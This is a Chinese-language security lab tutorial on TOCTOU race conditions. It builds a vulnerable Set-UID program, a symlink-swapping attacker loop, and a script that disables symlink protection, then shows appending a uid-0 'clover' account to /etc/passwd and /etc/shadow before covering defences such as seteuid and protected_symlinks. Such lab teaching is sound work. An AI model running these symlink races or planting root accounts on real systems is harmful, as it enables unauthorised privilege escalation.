竞态条件漏洞实验
一、实验简介
竞态条件是指多个线程同时访问或者操作同一块数据，运行的结果依赖于不同线程访问数据的顺序。如果一个拥有root权限的程序存在竞态条件漏洞的话，攻击者可以通过运行一个平行线程与漏洞程序竞争，以此改变该程序的行为。
1、利用vulp.c中的竞态条件漏洞可以做很多事情。其中一种是利用漏洞在 /etc/passwd 和 /etc/shadow 后追加信息。这两个文件是unix做用户授权用的，攻击者有可能利用这点创建用户，甚至是超级用户。
2、可以通过调用c函数symlink()创建连接。因为linux不允许创建已经存在的连接，我们需要先删除旧链接，下面的C代码演示如何移除一个旧链接并使/tmp/XYZ指向/etc/passwd:
unlink("/tmp/XYZ");
symlink("/etc/passwd","/tmp/XYZ");
或者使用命令ln -sf 创建链接，f选项意味着覆盖原链接。ln命令的内部实现本身就包含上文的两个函数。
3、最重要的一步（创建指向目标文件的链接）发生在调用access函数与fopen函数之间。既然我们无法更改漏洞程序，那么唯一能做的就是运行攻击程序，希望链接操作能在那段时间内发生。如果间隙很小的话，攻击成功率就比较渺茫了。所以你需要写程序自动化你的攻击流程，反复进行攻击，为避免手动输入vulp程序。你可以使用以下命令
./vulp < FILE (FILE是你 scanf 的文本文件)
4、检测攻击是否成功
既然普通用户无法访问shadow文件中的内容，那该如何知道文件是否被更改呢？可以看时间戳啊！而且一旦得知攻击成功就停止攻击这样做会更好一点，以下shell命令检查文件时间戳是否更改：
#!/bin/sh
#注意`不是单引号
old=`ls -l /etc/shadow`
new=`ls -l /etc/shadow`
while [ "$old" = "$new" ]
do
new=`ls -l /etc/shadow`
done
echo "STOP... The shadow file has been changed"
copy
5、意想不到的情况
如果 /tmp/XYZ 的所有人是root的话，情况就不太妙了，因为它的sticky位是开启的，这就意味着只有它的所有人能够删除它.
如果这种糟心事儿真的发生的话，你就得以root权限手动移除/tmp/XYZ再进行攻击了（坑爹嘛这不是！）。
记住，移除存在的链接与创建新的链接关系到两次完全独立的系统调用，所以如果在移除了/tmp/XYZ之后，目标程序获得机会运行fopen(fn, “a+”) 语句，他将会创建一个所有人为root的新文件。思考能够避免这种情况的方法。
二、实验内容
由于本实验环境开启了针对竞态条件攻击的保护，所以需要先关掉保护。该选项意味着全域可写sticky位开启的文件夹是不能作为链接目标所在文件夹的。
$ sudo su
$ echo 0 > /proc/sys/fs/protected_symlinks
$ exit
在 /home/parallels/seed 下新建 vulp.c 文件：
$ cd ~
$ mkdir seed
$ cd /home/parallels/seed
$ sudo vi vulp.c
下面是vulp.c的代码，看似无害，实则包藏祸心：
//vulp.c
#include <stdio.h>
#include <string.h>
#include <unistd.h>
#define DELAY 10000
int main()
{
char * fn = "/tmp/XYZ";
char buffer[60];
FILE *fp;
long int i;
/* get user input */
scanf("%50s", buffer );
if(!access(fn, W_OK)){
/*为了增加实验成功率增加的延迟*/
for(i=0; i < DELAY; i++){
int a = i^2;
}
fp = fopen(fn, "a+");
fwrite("\n", sizeof(char), 1, fp);
fwrite(buffer, sizeof(char), strlen(buffer), fp);
fclose(fp);
}
else printf("No permission \n");
}
这是一个 Set-UID 程序(root所有) 它将用户输入的字符串添加到文件 /tmp/XYZ 后，access() 会检查用户是否具备访问资源的权限，也就是说该函数检查real id而不是effective id。
这个程序第一眼看上去没有任何问题，但是这里有一个竞态条件漏洞。由于检查（access）与访问（fopen）之间存在时间间隙，所以检查与访问的就有可能不是同一个文件，即使它们的名字相同。如果一个恶意攻击者可以创建一个 /tmp/XYZ/ 链接指向 /etc/shadow,输入的字符串就会追加到shadow文件中去。
实验1: 利用竞态条件漏洞
实验1-1、重写拥有者为root的任意文件：
1.首先创建几个文件，注意这几个文件的权限和所有者 。
$ ls -l
-rw-rw-r-- 1 shiyanlou shiyanlou 10 Apr 23 13:33 append_text 《--VULP输入文件
-rw-rw-r-- 1 root root 0 Apr 23 13:32 root_file 《--目标文件
-rw-rw-r-- 1 shiyanlou shiyanlou 0 Apr 23 13:45 tmp_file 《--助攻
-rwsr-xr-x 1 root root 7403 Apr 23 13:27 vulp 《--漏洞文件
-rw-r--r-- 1 root root 454 Apr 23 13:27 vulp.c
vulp.c 是在上面已经创建的，vulp 文件是编译 vulp.c 产生的文件，是我们的漏洞文件。
$ sudo gcc vulp.c -o vulp
编译漏洞程序代码并将其设为SET-UID文件。设置suid只需运行以下命令：
$ sudo chmod u+s vulp
新建 root_file 文件，它是我们的目标文件：
$ sudo touch root_file
$ sudo chmod g+w root_file
新建append_text 文件，在append_text文件中加入你想要在root_file里加入的任意内容，比如 shiyanlou ：
$ vi append_text
新建 tmp_file 文件，这是我们的助攻文件：
$ touch tmp_file
这样攻击条件就都具备了，这步之后都以普通用户的身份进行攻击。
2.创建检查时间戳的脚本check.sh，并将运行vulp的命令加入其中。
#!/bin/sh
#注意`不是单引号
old=`ls -l /home/parallels/seed/root_file`
new=`ls -l /home/parallels/seed/root_file`
while [ "$old" = "$new" ]
do
./vulp < append_text
new=`ls -l /home/parallels/seed/root_file`
done
echo "STOP... The file has been changed"
不要忘记给脚本运行权限：
$ sudo chmod u+x check.sh
3.创建攻击代码attacker.c并编译
int main()
{
while(1){
system("ln -sf /home/parallels/seed/tmp_file /tmp/XYZ");
system("ln -sf /home/parallels/seed/root_file /tmp/XYZ");
}
return 0;
}
编译命令如下：
$ gcc attacker.c -o attacker
此时文件夹目录的情况：
$ ls -l
total 32
-rw-rw-r-- 1 shiyanlou shiyanlou 10 Apr 23 13:33 append_text
-rwxrwxr-x 1 shiyanlou shiyanlou 7164 Apr 23 14:01 attacker
-rw-rw-r-- 1 shiyanlou shiyanlou 155 Apr 23 14:00 attacker.c
-rwxrw-r-- 1 shiyanlou shiyanlou 246 Apr 23 13:58 check.sh
-rw-rw-r-- 1 root root 0 Apr 23 13:32 root_file
-rw-rw-r-- 1 shiyanlou shiyanlou 0 Apr 23 13:45 tmp_file
-rwsr-xr-x 1 root root 7403 Apr 23 13:27 vulp
-rw-r--r-- 1 root root 454 Apr 23 13:27 vulp.c
4.点击 File-> Open Tab 在终端里新建标签页，先运行 attacker 再运行check.sh
可以看到内容已经被写进root_file中了。（顺序倒过来的话会导致调用fopen生成一个root权限的/tmp/XYZ文件，那样攻击就失败了。）
实验1.2：获取root权限
先回顾下passwd文件与shadow文件中的格式
/etc/passwd:
-------------
smith:x:1000:1000:Joe Smith,,,:/home/smith:/bin/bash
/etc/shadow:
-------------
smith:*1*Srdssdsdi*M4sdabPasdsdsdasdsdasdY/:13450:0:99999:7:::
这里假设 账户名：clover 密码：revolc
1.生成shadow密码
$ mkpasswd -m sha-512 revolc
2.格式替换
在 /etc/passwd 文件中添加:
-------------
clover:x:0:0:Lucy,,,:/home/clover:/bin/bash
在 /etc/shadow 文件中添加:
-------------
clover:$6$D1viNru/muy$RH/3rX7T977d81qTZx1ULeURLl1ldKDHT48Nn3UMaED2ppd6eC40URnvEnLcG0uDTk6aZj0tWpSdKStDuBKqU0:13450:0:99999:7:::
（注意输入文件的内容不能有空格或者换行，请用命令生成shadow密码。）
实验2: 保护机制A：重复
想要避免竞态条件的发生并不轻松，因为先检查再访问这个模式在很多程序中都是需要的。比起想办法移除漏洞，换个思路，我们可以增加更多的竞态条件，这样就能减小攻击者攻击成功的概率了。该机制的基础思想是重复access和fopen函数的次数。
请使用这个策略修改漏洞程序，重复你的攻击。
修改 vulp.c 代码如下：
#include <stdio.h>
#include <unistd.h>
#define DELAY 10000
int main()
{
char * fn = "/tmp/XYZ";
char buffer[60];
FILE *fp;
long int i;
/* get user input */
scanf("%50s", buffer );
if(!access(fn, W_OK)){
if(!access(fn, W_OK)){
/*嵌套n层*/
fp = fopen(fn, "a+");
fwrite("\n", sizeof(char), 1, fp);
fwrite(buffer, sizeof(char), strlen(buffer), fp);
fclose(fp);
}
else printf("No permission \n");
}
else printf("No permission \n");
}
注意：修改后重新编译一下。
实验3: 保护机制B：最小权限原则
该程序的根本问题就在于它违反了最小权限原则，程序员认识到运行这个程序的用户可能权利过大，所以引入access函数进行限制，但也同时引入了竞态条件的隐患。
更好的方法是使用setuid系统调用暂时禁止root权限，当需要时再恢复。请以此法修复漏洞，再重复之前的攻击，观察结果并解释。
代码如下：
#include <stdio.h>
#include <unistd.h>
#define DELAY 10000
int main()
{
char * fn = "/tmp/XYZ";
char buffer[60];
FILE *fp;
long int i;
/* get user input */
scanf("%50s", buffer );
uid_t euid = geteuid();
seteuid(getuid());
for (i=0; i < DELAY; i++){
int a = i^2;
}
if (fp = fopen(fn, "a+")){
fwrite("\n", sizeof(char), 1, fp);
fwrite(buffer, sizeof(char), strlen(buffer), fp);
fclose(fp);
}
else printf("No permission \n");
seteuid(euid);
}
同样，修改后重新编译一下
实验4: 保护机制C：Ubuntu内置方案
开启保护机制的命令如下：
$ sudo su
$ echo 1 > /proc/sys/fs/protected_symlinks
$ exit
1万+
被折叠的 条评论
为什么被折叠?
到【灌水乐园】发言
